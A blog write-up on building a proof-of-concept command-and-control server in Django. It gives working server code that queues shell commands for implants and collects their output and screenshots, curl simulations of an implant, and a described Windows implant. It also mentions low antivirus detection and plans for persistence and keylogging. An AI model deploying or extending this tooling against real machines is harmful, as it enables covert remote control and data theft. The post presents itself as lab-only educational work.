Building a Minimal C2 with Django

25 Aug 2025

Proof of concept Django-based C2

Building a Minimal C2 with Django

Prior to this current site, I'd been using Django instead for my site for a while. At some point I realised the same pieces, models, an admin UI and a few endpoints, map neatly to a tiny C2 server: implants check in, tasks are created in a UI, and results are uploaded.

This project was mostly an educational exercise to learn the basic C2 lifecycle patterns rathern than to build a production-grade red-team framework.

The Django C2 — Python code and explanation

Below are the minimal pieces that implement the server side: models.py, admin.py, urls.py and the important parts of views.py. These are the exact structures I used in the PoC server.

models.py — implants and tasks

from django.db import models
 
class Implant(models.Model):
    implant_id = models.CharField(max_length=100, unique=True)
    last_seen = models.DateTimeField(auto_now=True)
    active = models.BooleanField(default=True)
 
    def __str__(self):
        return self.implant_id
 
class Task(models.Model):
    implant = models.ForeignKey(Implant, on_delete=models.CASCADE, related_name='tasks')
    command = models.TextField()
    created_at = models.DateTimeField(auto_now_add=True)
    completed = models.BooleanField(default=False)
    results = models.TextField(blank=True, null=True)
 
    def __str__(self):
        return f"Task for {self.implant.implant_id}: {self.command[:20]}..."
 

Implant stores a unique ID and last-seen timestamp, enough to know who is alive and when.

Task is a tiny queue entry tied to an implant with a ForeignKey. Admin creates a Task within the admin UI and the next beaconing implant picks it up.

admin.py — quick operator UI

from django.contrib import admin
from .models import Implant, Task
 
@admin.register(Implant)
class ImplantAdmin(admin.ModelAdmin):
    list_display = ('implant_id', 'last_seen', 'active')
    search_fields = ('implant_id',)
 
@admin.register(Task)
class TaskAdmin(admin.ModelAdmin):
    list_display = ('implant', 'command', 'completed', 'created_at')
    search_fields = ('implant__implant_id', 'command')
    list_filter = ('completed',)
 

The above allows us to use the default Django UI to operate our C2.

urls.py

from django.urls import path
from . import views
 
urlpatterns = [
    path('beacon/', views.beacon, name='beacon'),
    path('upload/', views.upload, name='upload'),
]

Only two URLs used. beacon/ for the implant to periodically check-in with and get new tasks and upload/ which the implant can POST results to.

views.py — beacon and upload endpoints (key parts)

 
from django.shortcuts import render
 
# Create your views here.
from django.http import HttpResponse, JsonResponse
from django.views.decorators.csrf import csrf_exempt
from .models import Implant, Task
from django.utils import timezone
import base64, json
from datetime import datetime
 
 
@csrf_exempt
def beacon(request):
    implant_id = request.GET.get('id', None)
 
    if not implant_id:
        return HttpResponse("Missing ID", status=400)
 
    #lookup or create implant in django database
    implant, created = Implant.objects.get_or_create(implant_id=implant_id)
 
    implant.last_seen = timezone.now()
    implant.active = True
    implant.save()
 
    task = Task.objects.filter(implant=implant, completed=False).first()
 
    if task:
        return HttpResponse(task.command)
    else: 
        return HttpResponse("none")
 
@csrf_exempt
def upload(request):
    if request.method != 'POST':
        return HttpResponse("Bad Request", status=400)
 
    implant_id = request.POST.get('id', None)
    result_data = request.POST.get('result', None)
 
    try:
        file = request.FILES.get("screenshot")
    except:
        file = 0 
 
    if not implant_id and not (result_data or file):
        return HttpResponse("Missing Parameters", status=400)
 
    try:
        implant = Implant.objects.get(implant_id=implant_id)
    except Implant.DoesNotExist:
        return HttpResponse("Implant not found", status=404)
 
    #Find the most recent incomplete task
    task = Task.objects.filter(implant=implant, completed=False).first()
 
    if task:
        if file:
            timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
            with open(f"/tmp/screenshot_{implant_id}_{timestamp}.bmp", "wb") as f:
                for chunk in file.chunks():
                    f.write(chunk)
            task.results = f"[+] Screenshot saved to /tmp/screenshot_{implant_id}_{timestamp}.bmp"
            task.completed = True
            task.save()
            return HttpResponse("Result received")
        else:
            task.results = base64.b64decode(result_data).decode("utf-8", errors="replace").strip()
            task.completed = True
            print(result_data)
            task.save()
            return HttpResponse("Result received")
    else:
        return HttpResponse("No pending task", status=404)
 

The beacon, checks whether the implant already exists. If it does, it updates the last seen time, otherwise it creates a new implant with the ID that was included in the request. The server returns a single plaintext command string to the implant. That makes parsing trivial on the client side.

The upload endpoint accepts either a result (base64 text) or a multipart screenshot file.

The code is intentionally minimal; for any real usage in a lab you should add input size checks, request logging, and authentication.

Quick curl simulations

You can simulate an implant and a result upload using curl while running the Django dev server locally.

Register / beacon (simulated agent):

curl "http://127.0.0.1:8000/c2/beacon/?id=implant001" # returns either the next pending command as plaintext, or "none"

Upload a base64 result (simulate command output):

RESULT=$(echo -n "hello from implant" | base64) curl -X POST -d "id=implant001" -d "result=${RESULT}" http://127.0.0.1:8000/c2/upload/

Upload a file (simulate screenshot):

curl -X POST -F "id=implant001" -F "screenshot=@/path/to/local/test.bmp" http://127.0.0.1:8000/c2/upload/

These curl commands are handy for testing the whole loop without compiling any client.

Proof-of-Concept Implant

I implemented a rough Windows C PoC that maps neatly to the Django server. I’m only including a high-level description here — the PoC is available from the repo.

What the Implant does (conceptually)

  • Beacon: HTTP GET to /c2/beacon/?id=<implant_id> (WinINet used).

  • Parse response: server returns a short whitespace-delimited command string such as:

    • none → nothing to do

    • cmd <command> → run cmd.exe /c <command>

    • screenshot → capture desktop BMP and upload

    • exit → send final result and exit

  • Run commands: the PoC spawns a subproc (CreateProcess) and captures stdout/stderr via a pipe — result is base64 encoded and POSTed as result.

  • Screenshot: the PoC can capture a BMP of the desktop using GDI (CreateDIBSection, BitBlt) and send it as a multipart screenshot file field.

  • Loop: sleeps (10s in my draft) then repeats.

VirusTotal

PoC surpisingly returned a score of only 8/71 detections.

VirusTotal Score

Repo for the PoC can be found here

As the below screenshots show, the implant is ran where it then beacons the C2, defining the implant in Django. We can then use the Admin UI to create a new task of cmd whoami /all.

PoC

The implant receives cmd whoami /all, opens the command run function and captures the response to whoami /all. Base64 encodes it and then sends it via POST to C2/uploads/ .

PoC

Limitations of the PoC (and Django approach)

  • Plaintext commands & transport: the PoC returns plaintext commands and uses HTTP (no encryption/auth beyond a static header). Acceptable for a lab but not realistic for hardened red-team tooling.

  • Single-task primitive queue: the server returns the first incomplete task only. No prioritisation, no scheduling, no multi-command batching.

  • Blocking loop: the implant polls with a fixed Sleep(10000) gap. A real implant might use jitter/randomisation to blend.

  • No auth / no ratelimiting: admin UI is protected by Django auth, but endpoints lack token-based authentication or request signing.

  • File handling is naive: the server saves screenshots to /tmp without quota or scanning.

  • Scalability: Django admin is great for a demo but not an operator console for hundreds of implants.

Future Additions

  • HTTPS / TLS - move transport to HTTPS and use proper certs in a lab. (Note: for public exposure ensure certs & auth are correct.)

  • Jitter & randomized beaconing - implant beacon interval randomisation to avoid perfectly regular polling patterns. From a defender’s view, jitter makes detection slightly harder but also generates different anomalous signals you can detect (variable cadence).

  • Authenticated endpoints / per-implant tokens - add signed tokens or per-implant API keys to reduce accidental misuse and to model token theft in blue-team scenarios.

  • Task scheduling & TTL - support scheduled tasks, expirations, and operator audit trails.

  • Simulated telemetry for defenders - add logging and example SIEM queries so defenders can practice detecting C2 activity.

  • Useful Features - file upload/download capabilities, keylogger etc.

  • Persistence - at the momnent, the PoC has to be run manually every time. To actually be useful as a C2 implant it would need a way of restarting itself.

  • Better file handling & quotas - limit upload sizes, scan files in lab, and store artifacts with metadata.

  • Operator UX - a lightweight dashboard beyond Django's Admin UI that shows implant health and task history.

Safety & ethics
This writeup is for lab / educational use only. Do not run code against systems you do not own or have explicit written permission to test.